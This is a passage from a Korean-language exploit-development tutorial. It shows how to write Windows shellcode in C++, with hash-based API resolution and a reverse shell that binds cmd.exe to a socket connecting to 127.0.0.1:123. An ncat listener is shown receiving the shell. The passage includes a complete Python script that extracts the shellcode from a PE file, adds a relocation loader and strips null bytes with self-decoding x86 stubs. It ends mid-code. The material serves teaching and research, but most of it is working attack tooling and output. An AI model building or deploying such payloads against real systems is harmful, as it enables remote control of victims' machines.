  • NumberOfFunctions: AddressOfFunctions  요소 

  • NumberOfNames: AddressOfNames 요소 

  • AddressOfFunctions: exported 함수들의 entrypoints를 가리키는 RVAs (DWORDs)의 배열을 가리키는 RVA

  • AddressOfNames: exported 함수들의 이름을 가리키는 RVAs (DWORDs)의 배열을 가리키는 RVA

  • AddressOfNameOrdinals: exported 함수들의 연관된 ordinals (WORDs) 배열을 가리키는 RVA

C/C++ 코드에서는 배열들은 AddressOfNames에 의해 가리켜지며 AddressOfNameOrdinals는 병렬로 동작한다고 되어 있습니다.



처음 두 배열은 병렬로 동작하는 반면 세 번째는 그렇지 않고 ordinals AddressOfFunctions 배열의 인덱스인 AddressOfNameOrdinals 로 부터 가져옵니다.

 

그래서 첫번째로는 AddressOfNames에서 정확한 이름을 찾고 AddressOfNameOrdinals에서 적절한 ordinal(서수)을 구한다음 마지막으로 ordinal AddressOfFuncions의 인덱스로 이용하여 적합한 exported 함수의 RVA 를 구합니다



DefineFuncPtr


DefineFuncPtr은 간단한 매크로로써 imported 함수를 가리키는 포인터를 정의하는데 도움을 줍니다. 예제는 다음과 같습니다.


1
2
3
4
5
#define HASH_WSAStartup       0x2ddcd540
 
#define DefineFuncPtr(name)   decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
 
DefineFuncPtr(WSAStartup);
cs


WSAStartup ws2_32.dll에서 제공되는 함수로 HASH_WSAStartup는 다음과 같이 연산됩니다.


1
DWORD hash = getFunctionHash(“ws2_32.dll”, “WSAtartup”);
cs


매크로를 확장하면 


1
DefineFuncPtr(WSAStartup);
cs


이는 다음과 같이 됩니다.


1
decltype(WSAStartup) *My_WSAStartup = (decltype(WSAStartup) *)getProcAddrByHash(HASH_WSAStartup)
cs


여기서 decltype(WSAStartup) WSAStartup 함수의 종류입니다. 이 방법은 함수 프로토타입을 재정의 할 필요가 없습니다. decltype C++ 11 에서 소개되었습니다.

 

이제 우리는 My_WSAStartup을 이용하여 WSAStartup을 호출할 수 있고 intellisense는 잘 동작할 것 입니다.

 

모듈에서 함수가 import 되기 전에 메모리에 해당 모듈이 로드 되었는지 확인할 필요가 있습니다. 운좋게도 kernel32.dll ntdll.dll은 항상 존재하지만 다른 모듈들이 그렇다고 가정하면 안됩니다. 가장 간단한 방법으로는 LoadLibrary를 이용하여 모듈을 로드하는 것 입니다.


1
2
DefineFuncPtr(LoadLibraryA);
My_LoadLibraryA(“ws2_32.dll”);
cs


이는 kernel32.dll에서 제공되는 LoadLibrary를 이용하였으며 이 모듈은 항상 메모리에 존재합니다.

 

우리는 GetProcAddress 역시 사용할 수 있으며 이를 이용하여 우리가 필요한 다른 모든 함수들의 주소를 구할 수 있습니다. 하지만 이는 굉장히 소모적이 될 수 있는데 그 이유는 우리의 쉘코드에 모든 함수들의 이름을 포함시켜야 하기 때문입니다.



entryPoint


entryPoint는 당연히 우리가 제작한 쉘코드의 entry point이며 리버스 쉘을 구현했습니다. 첫 번째로 우리는 필요로 하는 모든 함수들을 import 하고 사용합니다. 이에 대한 자세한 내용은 그리 중요하지 않지만 한 가지 말씀드릴 것은 winsock API는 사용하기 굉장히 무거운 작업입니다.

 

짧게 설명하자면,


1. 소켓을 생성합니다.

2. 127.0.0.1:123에 접속 합니다.

3. cmd.exe를 이용하여 프로세스를 생성합니다.

4. 소켓을 프로세스의 기본 입력, 출력, 에러에 붙입니다.

5. 프로세스가 종료될 때 까지 기다립니다.

6. 프로세스가 종료되면 현재 스레드를 종료합니다.


3번과 4번은 CreateProcess 호출시 동시에 동작합니다. 4번에 의해 공격자는 123 포트에서 대기할 수 있으며 만약 접속이 됫다면 소켓을 통해 원격에서 동작중인 cmd.exe 를 통해 통신할 수 있습니다.


이를 해보기 위해서는 ncat를 설치 하고 cmd.exe를 실행시켜 아래 명령을 입력합니다.

  • http://nmap.org/ncat/


ncat -lvp 123


이는 포트 123에서 대기하게 됩니다. 그 후, Visual Studio 2013에서 Release를 선택하고 project 빌드 후 실행합니다.

 

ncat으로 돌아가면 다음과 같은 메시지를 확인할 수 있습니다.


Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation.  All rights reserved.


C:\Users\Kiuhnm>ncat -lvp 123

Ncat: Version 6.47 ( http://nmap.org/ncat )

Ncat: Listening on :::123

Ncat: Listening on 0.0.0.0:123

Ncat: Connection from 127.0.0.1.

Ncat: Connection from 127.0.0.1:4409.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation.  All rights reserved.


C:\Users\Kiuhnm\documents\visual studio 2013\Projects\shellcode\shellcode>


이제 원하는 명령을 실행 시킬 수 있고 종료하려면 exit를 입력합니다.



main


여기서는 링커 옵션에 도움을 받습니다.

  • Function Order: function_order.txt

function_order.txt에는 오직 ?entryPoint@@YAHXZ 만 존재하며 entryPoint 함수는 우리의 쉘코드에 먼저 위치하게 될 것 입니다. 이것이 우리가 원하는 행위 입니다.

 

이는 소스 코드에서 함수들의 순서를 지정하는 것은 링커의 특권이라 볼 수 있습니다. 그래서 우리는 다른 함수들 전에 entryPoint를 넣을 수 있습니다만 저는 일을 망치고 싶진 않습니다. main 함수는 소스 코드의 마지막에 오기 때문에 이는 우리의 쉘 코드 마지막에 링크되게 됩니다. 이는 우리의 쉘코드가 언제 끝나는지 알려줍니다. 어떻게 되는지 살펴보도록 하겠습니다.



파이썬 스크립트


소개


이제 실행 파일에 우리의 쉘 코드가 준비되었고, 우리는 이것을 추출하여 쉘 코드를 수정할 것입니다이는 쉽지 않은 작업입니다. 파이썬 스크립트는 다음과 같이 작성하였습니다.


1. 쉘 코드를 추출합니다.

2. 문자열들의 핸들을 재배치 합니다.

3. 쉘 코드에서 null 바이트를 제거합니다.


그건 그렇고 파이썬 작업을 할 때 당신이 어떤것을 좋아 하는지는 모르겠지만 저는 PyCharm을 사용하는 것을 좋아 합니다

  • https://www.jetbrains.com/pycharm/

스크립트는 392 줄 정도 되며 자세한 내용은 뒤에 설명 드리겠습니다코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
# Shellcode extractor by Massimiliano Tomassoli (2015)
 
import sys
import os
import datetime
import pefile
 
author = 'Massimiliano Tomassoli'
year = datetime.date.today().year
 
 
def dword_to_bytes(value):
    return [value & 0xff, (value >> 8& 0xff, (value >> 16& 0xff, (value >> 24& 0xff]
 
 
def bytes_to_dword(bytes):
    return (bytes[0& 0xff| ((bytes[1& 0xff<< 8| \
           ((bytes[2& 0xff<< 16| ((bytes[3& 0xff<< 24)
 
 
def get_cstring(data, offset):
    '''
    Extracts a C string (i.e. null-terminated string) from data starting from offset.
    '''
    pos = data.find('\0', offset)
    if pos == -1:
        return None
    return data[offset:pos+1]
 
 
def get_shellcode_len(map_file):
    '''
    Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
    '''
    try:
        with open(map_file, 'r') as f:
            lib_object = None
            shellcode_len = None
            for line in f:
                parts = line.split()
                if lib_object is not None:
                    if parts[-1== lib_object:
                        raise Exception('_main is not the last function of %s' % lib_object)
                    else:
                        break
                elif (len(parts) > 2 and parts[1== '_main'):
                    # Format:
                    # 0001:00000274  _main   00401274 f   shellcode.obj
                    shellcode_len = int(parts[0].split(':')[1], 16)
                    lib_object = parts[-1]
 
            if shellcode_len is None:
                raise Exception('Cannot determine shellcode length')
    except IOError:
        print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
        return None
    except Exception as e:
        print('[!] get_shellcode_len: %s' % e.message)
        return None
 
    return shellcode_len
 
 
def get_shellcode_and_relocs(exe_file, shellcode_len):
    '''
    Extracts the shellcode from the .text section of the file exe_file and the string
    relocations.
    Returns the triple (shellcode, relocs, addr_to_strings).
    '''
    try:
        # Extracts the shellcode.
        pe = pefile.PE(exe_file)
        shellcode = None
        rdata = None
        for s in pe.sections:
            if s.Name == '.text\0\0\0':
                if s.SizeOfRawData < shellcode_len:
                    raise Exception('.text section too small')
                shellcode_start = s.VirtualAddress
                shellcode_end = shellcode_start + shellcode_len
                shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
            elif s.Name == '.rdata\0\0':
                rdata_start = s.VirtualAddress
                rdata_end = rdata_start + s.Misc_VirtualSize
                rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
 
        if shellcode is None:
            raise Exception('.text section not found')
        if rdata is None:
            raise Exception('.rdata section not found')
 
        # Extracts the relocations for the shellcode and the referenced strings in .rdata.
        relocs = []
        addr_to_strings = {}
        for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
            for entry in rel_data.entries[:-1]:         # the last element's rvs is the base_rva (why?)
                if shellcode_start <= entry.rva < shellcode_end:
                    # The relocation location is inside the shellcode.
                    relocs.append(entry.rva - shellcode_start)      # offset relative to the start of shellcode
                    string_va = pe.get_dword_at_rva(entry.rva)
                    string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
                    if string_rva < rdata_start or string_rva >= rdata_end:
                        raise Exception('shellcode references a section other than .rdata')
                    str = get_cstring(rdata, string_rva - rdata_start)
                    if str is None:
                        raise Exception('Cannot extract string from .rdata')
                    addr_to_strings[string_va] = str
 
        return (shellcode, relocs, addr_to_strings)
 
    except WindowsError:
        print('[!] get_shellcode: Cannot open "%s"' % exe_file)
        return None
    except Exception as e:
        print('[!] get_shellcode: %s' % e.message)
        return None
 
 
def dword_to_string(dword):
    return ''.join([chr(x) for x in dword_to_bytes(dword)])
 
 
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
    if len(relocs) == 0:
        return shellcode                # there are no relocations
 
    # The format of the new shellcode is:
    #       call    here
    #   here:
    #       ...
    #   shellcode_start:
    #       <shellcode>         (contains offsets to strX (offset are from "here" label))
    #   relocs:
    #       off1|off2|...       (offsets to relocations (offset are from "here" label))
    #       str1|str2|...
 
    delta = 21                                      # shellcode_start - here
 
    # Builds the first part (up to and not including the shellcode).
    x = dword_to_bytes(delta + len(shellcode))
    y = dword_to_bytes(len(relocs))
    code = [
        0xE80x000x000x000x00,               #   CALL here
                                                    # here:
        0x5E,                                       #   POP ESI
        0x8B0xFE,                                 #   MOV EDI, ESI
        0x810xC6, x[0], x[1], x[2], x[3],         #   ADD ESI, shellcode_start + len(shellcode) - here
        0xB9, y[0], y[1], y[2], y[3],               #   MOV ECX, len(relocs)
        0xFC,                                       #   CLD
                                                    # again:
        0xAD,                                       #   LODSD
        0x010x3C0x07,                           #   ADD [EDI+EAX], EDI
        0xE20xFA                                  #   LOOP again
                                                    # shellcode_start:
    ]
 
    # Builds the final part (offX and strX).
    offset = delta + len(shellcode) + len(relocs) * 4           # offset from "here" label
    final_part = [dword_to_string(r + delta) for r in relocs]
    addr_to_offset = {}
    for addr in addr_to_strings.keys():
        str = addr_to_strings[addr]
        final_part.append(str)
        addr_to_offset[addr] = offset
        offset += len(str)
 
    # Fixes the shellcode so that the pointers referenced by relocs point to the
    # string in the final part.
    byte_shellcode = [ord(c) for c in shellcode]
    for off in relocs:
        addr = bytes_to_dword(byte_shellcode[off:off+4])
        byte_shellcode[off:off+4= dword_to_bytes(addr_to_offset[addr])
 
    return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
 
 
def dump_shellcode(shellcode):
    '''
    Prints shellcode in C format ('\x12\x23...')
    '''
    shellcode_len = len(shellcode)
    sc_array = []
    bytes_per_row = 16
    for i in range(shellcode_len):
        pos = i % bytes_per_row
        str = ''
        if pos == 0:
            str += '"'
        str += '\\x%02x' % ord(shellcode[i])
        if i == shellcode_len - 1:
            str += '";\n'
        elif pos == bytes_per_row - 1:
            str += '"\n'
        sc_array.append(str)
    shellcode_str = ''.join(sc_array)
    print(shellcode_str)
 
 
def get_xor_values(value):
    '''
    Finds x and y such that:
    1) x xor y == value
    2) x and y doesn't contain null bytes
    Returns x and y as arrays of bytes starting from the lowest significant byte.
    '''
    # Finds a non-null missing bytes.
    bytes = dword_to_bytes(value)
    missing_byte = [b for b in range(1, 256) if b not in bytes][0]
    xor1 = [b ^ missing_byte for b in bytes]
    xor2 = [missing_byte] * 4
    return (xor1, xor2)
def get_fixed_shellcode_single_block(shellcode):
    '''
    Returns a version of shellcode without null bytes or None if the
    shellcode can't be fixed.
    If this function fails, use get_fixed_shellcode().
    '''
 
    # Finds one non-null byte not present, if any.
    bytes = set([ord(c) for c in shellcode])
    missing_bytes = [b for b in range(1256if b not in bytes]
    if len(missing_bytes) == 0:
        return None                             # shellcode can't be fixed
    missing_byte = missing_bytes[0]
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = [
        0xE80xFF0xFF0xFF0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
        0x810xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
        0x830xC729,                                     #   ADD EDI, shellcode_begin - here
        0x330xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop1:
        0x8A0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3C, missing_byte,                                 #   CMP AL, <missing byte>
        0x0F0x440xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0xE20xF6                                          #   LOOP loop1
                                                            # shellcode_begin:
    ]
 
    return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
 
 
def get_fixed_shellcode(shellcode):
    '''
    Returns a version of shellcode without null bytes. This version divides
    the shellcode into multiple blocks and should be used only if
    get_fixed_shellcode_single_block() doesn't work with this shellcode.
    '''
    # The format of bytes_blocks is
    #   [missing_byte1, number_of_blocks1,
    #    missing_byte2, number_of_blocks2, ...]
    # where missing_byteX is the value used to overwrite the null bytes in the
    # shellcode, while number_of_blocksX is the number of 254-byte blocks where
    # to use the corresponding missing_byteX.
    bytes_blocks = []
    shellcode_len = len(shellcode)
    i = 0
    while i < shellcode_len:
        num_blocks = 0
        missing_bytes = list(range(1, 256))
        # Tries to find as many 254-byte contiguous blocks as possible which misses at
        # least one non-null value. Note that a single 254-byte block always misses at
        # least one non-null value.
        while True:
            if i >= shellcode_len or num_blocks == 255:
                bytes_blocks += [missing_bytes[0], num_blocks]
                break
            bytes = set([ord(c) for c in shellcode[i:i+254]])
            new_missing_bytes = [b for b in missing_bytes if b not in bytes]
            if len(new_missing_bytes) != 0:         # new block added
                missing_bytes = new_missing_bytes
                num_blocks += 1
                i += 254
            else:
                bytes += [missing_bytes[0], num_blocks]
                break
    if len(bytes_blocks) > 0x7f - 5:
        # Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
        return None
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = ([
        0xEBlen(bytes_blocks)] +                          #   JMP SHORT skip_bytes
                                                            # bytes:
        bytes_blocks + [                                    #   ...
                                                            # skip_bytes:
        0xE80xFF0xFF0xFF0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, <xor value 1 for shellcode len>
        0x810xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, <xor value 2 for shellcode len>
        0x8D0x5F-(len(bytes_blocks) + 5& 0xFF,        #   LEA EBX, [EDI + (bytes - here)]
        0x830xC70x30,                                   #   ADD EDI, shellcode_begin - here
                                                            # loop1:
        0xB00xFE,                                         #   MOV AL, 0FEh
        0xF60x630x01,                                   #   MUL AL, BYTE PTR [EBX+1]
        0x0F0xB70xD0,                                   #   MOVZX EDX, AX
        0x330xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop2:
        0x8A0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3A0x03,                                         #   CMP AL, BYTE PTR [EBX]
        0x0F0x440xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0x49,                                               #   DEC ECX
        0x740x07,                                         #   JE shellcode_begin
        0x4A,                                               #   DEC EDX
        0x750xF2,                                         #   JNE loop2
        0x43,                                               #   INC EBX
        0x43,                                               #   INC EBX
        0xEB0xE3                                          #   JMP loop1
                                                            # shellcode_begin:
    ])
 
    new_shellcode_pieces = []
    pos = 0
    for i in range(len(bytes_blocks) / 2):
        missing_char = chr(bytes_blocks[i*2])
        num_bytes = 254 * bytes_blocks[i*2 + 1]
        new_shellcode_pieces.append(shellcode[pos:pos+num_bytes].replace('\0', missing_char))
        pos += num_bytes
 
    return ''.join([chr(x) for x in code]) + ''.join(new_shellcode_pieces)
 
 
def main():
    print("Shellcode Extractor by %s (%d)\n" % (author, year))
 
    if len(sys.argv) != 3:
        print('Usage:\n' +
              '  %s <exe file> <map file>\n' % os.path.basename(sys.argv[0]))
        return
 
    exe_file = sys.argv[1]
    map_file = sys.argv[2]
 
    print('Extracting shellcode length from "%s"...' % os.path.basename(map_file))
    shellcode_len = get_shellcode_len(map_file)
    if shellcode_len is None:
        return
    print('shellcode length: %d' % shellcode_len)
 
    print('Extracting shellcode from "%s" and analyzing relocations...' % os.path.basename(exe_file))
    result = get_shellcode_and_relocs(exe_file, shellcode_len)
    if result is None:
        return
    (shellcode, relocs, addr_to_strings) = result
 
    if len(relocs) != 0:
        print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
        print('Strings:')
        for s in addr_to_strings.values():
            print('  ' + s[:-1])
        print('')
        shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
    else:
        print('No relocations found')
 
    if shellcode.find('\0'== -1:
        print('Unbelievable: the shellcode does not need to be fixed!')
        fixed_shellcode = shellcode
    else:
        # shellcode contains null bytes and needs to be fixed.
        print('Fixing the shellcode...')
        fixed_shellcode = get_fixed_shellcode_single_block(shellcode)
        if fixed_shellcode is None:             # if shellcode wasn't fixed...
            fixed_shellcode = get_fixed_shellcode(shellcode)
            if fixed_shellcode is None:
                print('[!] Cannot fix the shellcode')
 
    print('final shellcode length: %d\n' % len(fixed_shellcode))
    print('char shellcode[] = ')
    dump_shellcode(fixed_shellcode)
 
main()
cs



맵 파일과 쉘 코드 크기


위에 설명햇듯이, 링커는 다음 옵션을 이용하여 맵 파일을 생성합니다.

  • Debugging
    • Generate Map File: Yes (/MAP)
링커에게 EXE의 구조를 포함하는 맵 파일 생성을 알림
    • Map File Name: mapfile

맵 파일은 쉘 코드의 길이는 정하는데 아주 중요합니다아래는 맵 파일의 관련된 부분입니다.


shellcode


 Timestamp is 54fa2c08 (Fri Mar 06 23:36:56 2015)


 Preferred load address is 00400000


 Start         Length     Name                   Class

 0001:00000000 00000a9cH .text$mn                CODE

 0002:00000000 00000094H .idata$5                DATA

 0002:00000094 00000004H .CRT$XCA                DATA

 0002:00000098 00000004H .CRT$XCAA               DATA

 0002:0000009c 00000004H .CRT$XCZ                DATA

 0002:000000a0 00000004H .CRT$XIA                DATA

 0002:000000a4 00000004H .CRT$XIAA               DATA

 0002:000000a8 00000004H .CRT$XIC                DATA

 0002:000000ac 00000004H .CRT$XIY                DATA

 0002:000000b0 00000004H .CRT$XIZ                DATA

 0002:000000c0 000000a8H .rdata                  DATA

 0002:00000168 00000084H .rdata$debug            DATA

 0002:000001f0 00000004H .rdata$sxdata           DATA

 0002:000001f4 00000004H .rtc$IAA                DATA

 0002:000001f8 00000004H .rtc$IZZ                DATA

 0002:000001fc 00000004H .rtc$TAA                DATA

 0002:00000200 00000004H .rtc$TZZ                DATA

 0002:00000208 0000005cH .xdata$x                DATA

 0002:00000264 00000000H .edata                  DATA

 0002:00000264 00000028H .idata$2                DATA

 0002:0000028c 00000014H .idata$3                DATA

 0002:000002a0 00000094H .idata$4                DATA

 0002:00000334 0000027eH .idata$6                DATA

 0003:00000000 00000020H .data                   DATA

 0003:00000020 00000364H .bss                    DATA

 0004:00000000 00000058H .rsrc$01                DATA

 0004:00000060 00000180H .rsrc$02                DATA


  Address         Publics by Value              Rva+Base       Lib:Object


 0000:00000000       ___guard_fids_table        00000000     <absolute>

 0000:00000000       ___guard_fids_count        00000000     <absolute>

 0000:00000000       ___guard_flags             00000000     <absolute>

 0000:00000001       ___safe_se_handler_count   00000001     <absolute>

 0000:00000000       ___ImageBase               00400000     <linker-defined>

 0001:00000000       ?entryPoint@@YAHXZ         00401000 f   shellcode.obj

 0001:000001a1       ?getHash@@YAKPBD@Z         004011a1 f   shellcode.obj

 0001:000001be       ?getProcAddrByHash@@YAPAXK@Z 004011be f   shellcode.obj

 0001:00000266       _main                      00401266 f   shellcode.obj

 0001:000004d4       _mainCRTStartup            004014d4 f   MSVCRT:crtexe.obj

 0001:000004de       ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z 004014de f   MSVCRT:unhandld.obj

 0001:0000051f       ___CxxSetUnhandledExceptionFilter 0040151f f   MSVCRT:unhandld.obj

 0001:0000052e       __XcptFilter               0040152e f   MSVCRT:MSVCR120.dll

<snip>


맵 파일의 시작 부분에 section 1 .text 영역임을 말하고 있고 이는 아래 코드를 포함하고 있습니다.


Start         Length     Name                   Class

0001:00000000 00000a9cH .text$mn                CODE


두 번째 부분은 .text 영역 ?entryPoint@@YAHXZ로 시작하며 우리의 entryPoint 함수와 main (여기서는 _main) 은 함수 마지막에 있음을 보입니다. main 0x266 에 위치하고 entryPoint 0에 위치하기 때문에 우리의 쉘코드는 .text 영역에서 부터 시작하며 0x266 크기를 갖습니다.

 

아래는 파이썬에서 어떻게 하는지 보여줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def get_shellcode_len(map_file):
    '''
    Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
    '''
    try:
        with open(map_file, 'r') as f:
            lib_object = None
            shellcode_len = None
            for line in f:
                parts = line.split()
                if lib_object is not None:
                    if parts[-1== lib_object:
                        raise Exception('_main is not the last function of %s' % lib_object)
                    else:
                        break
                elif (len(parts) > 2 and parts[1== '_main'):
                    # Format:
                    # 0001:00000274  _main   00401274 f   shellcode.obj
                    shellcode_len = int(parts[0].split(':')[1], 16)
                    lib_object = parts[-1]
 
            if shellcode_len is None:
                raise Exception('Cannot determine shellcode length')
    except IOError:
        print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
        return None
    except Exception as e:
        print('[!] get_shellcode_len: %s' % e.message)
        return None
 
    return shellcode_len
cs



쉘 코드 추출


이 부분은 굉장히 쉽습니다. 우리는 쉘코드의 크기와 쉘코드가 .text 영역의 처음 부분에 위치해 있음을 알고 있습니다. 아래는 해당 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def get_shellcode_and_relocs(exe_file, shellcode_len):
    '''
    Extracts the shellcode from the .text section of the file exe_file and the string
    relocations.
    Returns the triple (shellcode, relocs, addr_to_strings).
    '''
    try:
        # Extracts the shellcode.
        pe = pefile.PE(exe_file)
        shellcode = None
        rdata = None
        for s in pe.sections:
            if s.Name == '.text\0\0\0':
                if s.SizeOfRawData < shellcode_len:
                    raise Exception('.text section too small')
                shellcode_start = s.VirtualAddress
                shellcode_end = shellcode_start + shellcode_len
                shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
            elif s.Name == '.rdata\0\0':
                <snip>
 
        if shellcode is None:
            raise Exception('.text section not found')
        if rdata is None:
            raise Exception('.rdata section not found')
<snip>
cs


저는 여기서 사용하기 편리한 pefile 모듈을 사용하였습니다. 관련된 부분은 if body 부분 입니다.



문자열들과 .rdata


전에 설명햇듯, 우리의 C/C++ 코드는 문자열들을 포함할 수 있습니다. 예를들어 쉘코드가 다음 라인을 포함한다고 하면


1
My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);
cs


문자열 cmd.exe는 초기화된 데이터를 갖는 읽기 전용 섹션인 .rdata 영역에 위치합니다. 코드는 절대 주소를 이용하여 문자열에 접근합니다.


00241152 50                   push        eax  

00241153 8D 44 24 5C          lea         eax,[esp+5Ch]  

00241157 C7 84 24 88 00 00 00 00 01 00 00 mov         dword ptr [esp+88h],100h  

00241162 50                   push        eax  

00241163 52                   push        edx  

00241164 52                   push        edx  

00241165 52                   push        edx  

00241166 6A 01                push        1  

00241168 52                   push        edx  

00241169 52                   push        edx  

0024116A 68 18 21 24 00       push        242118h         <------------------------

0024116F 52                   push        edx  

00241170 89 B4 24 C0 00 00 00 mov         dword ptr [esp+0C0h],esi  

00241177 89 B4 24 BC 00 00 00 mov         dword ptr [esp+0BCh],esi  

0024117E 89 B4 24 B8 00 00 00 mov         dword ptr [esp+0B8h],esi  

00241185 FF 54 24 34          call        dword ptr [esp+34h]


보시다시피, cmd.exe의 절대 주소는 242118h 입니다. 이 주소는 push 명령의 한 부분이며 이는 24116Bh에 위치해 있습니다. 만약 파일 cmd.exe 파일 에디터로 수정하면 다음과 같습니다.


56A: 68 18 21 40 00           push        000402118h


56A 는 파일의 오프셋 입니다. 이것의 가상 주소는 40116A인데 그 이유는 이미지 베이스가 400000h이기 때문입니다. 이것은 메모리에 실행 파일이 로드되는 위치로 자주 사용되는 주소 입니다. 만약 실행 파일이 자주 사용되는 기본 주소에 로드가 된다면 명령의 절대 주소인 402118h가 됩니다. 하지만 실행 파일이 다른 기본 주소에 로드가 된다면 명령은 수정될 필요가 있습니다. 어떻게 윈도우즈 로더는 수정이 필요한 주소를 포함하는 실행 파일의 위치를 알 수 있을까요? PE 파일은 Relocation Directory 를 갖는데 우리의 경우에는 .reloc section을 가리킵니다. 이는 수정될 모든 위치의 RVAs를 갖습니다.


우리는 이 디렉토리를 통해 아래 위치들에 대한 주소들을 볼 수 있습니다.


1. 쉘 코드를 포함하고 있는 위치

2. .rdata의 데이터를 가리키는 포인터들의 위치


예를들어, Relocation Directory 는 다른 주소들 사이에 push 402118h 명령의 마지막 4 바이트를 가리키는 주소 40116Bh를 가질 것 입니다. 이 바이트들은 402118h 에 있는데 이는 .rdata에 있는 cmd.exe 문자열을 가리키고 있습니다.

 

get_shellcode_and_relocs 함수를 살펴 보면 다음과 같습니다. 첫 번째 부분에 우리는 .rdata section을 추출합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def get_shellcode_and_relocs(exe_file, shellcode_len):
    '''
    Extracts the shellcode from the .text section of the file exe_file and the string
    relocations.
    Returns the triple (shellcode, relocs, addr_to_strings).
    '''
    try:
        # Extracts the shellcode.
        pe = pefile.PE(exe_file)
        shellcode = None
        rdata = None
        for s in pe.sections:
            if s.Name == '.text\0\0\0':
                <snip>
            elif s.Name == '.rdata\0\0':
                rdata_start = s.VirtualAddress
                rdata_end = rdata_start + s.Misc_VirtualSize
                rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
 
        if shellcode is None:
            raise Exception('.text section not found')
        if rdata is None:
            raise Exception('.rdata section not found')
cs


관련된 부분은 elif 의 내용입니다.

 

같은 함수의 두 번째 부분에서 우리는 재배치(relocations)를 분석하고 우리의 쉘코드를 포함한 위치를 찾고 이 위치에서 참조 하고 있는 문자열 (null-terminated) .rdata에서 추출합니다.

 

위에서 얘기햇듯이, 우리는 쉘코드를 포함하는 위치만 관심이 있습니다. 아래는 get_shellcode_and_relocs 함수에서 관련된 부분 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Extracts the relocations for the shellcode and the referenced strings in .rdata.
        relocs = []
        addr_to_strings = {}
        for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
            for entry in rel_data.entries[:-1]:         # the last element's rvs is the base_rva (why?)
                if shellcode_start <= entry.rva < shellcode_end:
                    # The relocation location is inside the shellcode.
                    relocs.append(entry.rva - shellcode_start)      # offset relative to the start of shellcode
                    string_va = pe.get_dword_at_rva(entry.rva)
                    string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
                    if string_rva < rdata_start or string_rva >= rdata_end:
                        raise Exception('shellcode references a section other than .rdata')
                    str = get_cstring(rdata, string_rva - rdata_start)
                    if str is None:
                        raise Exception('Cannot extract string from .rdata')
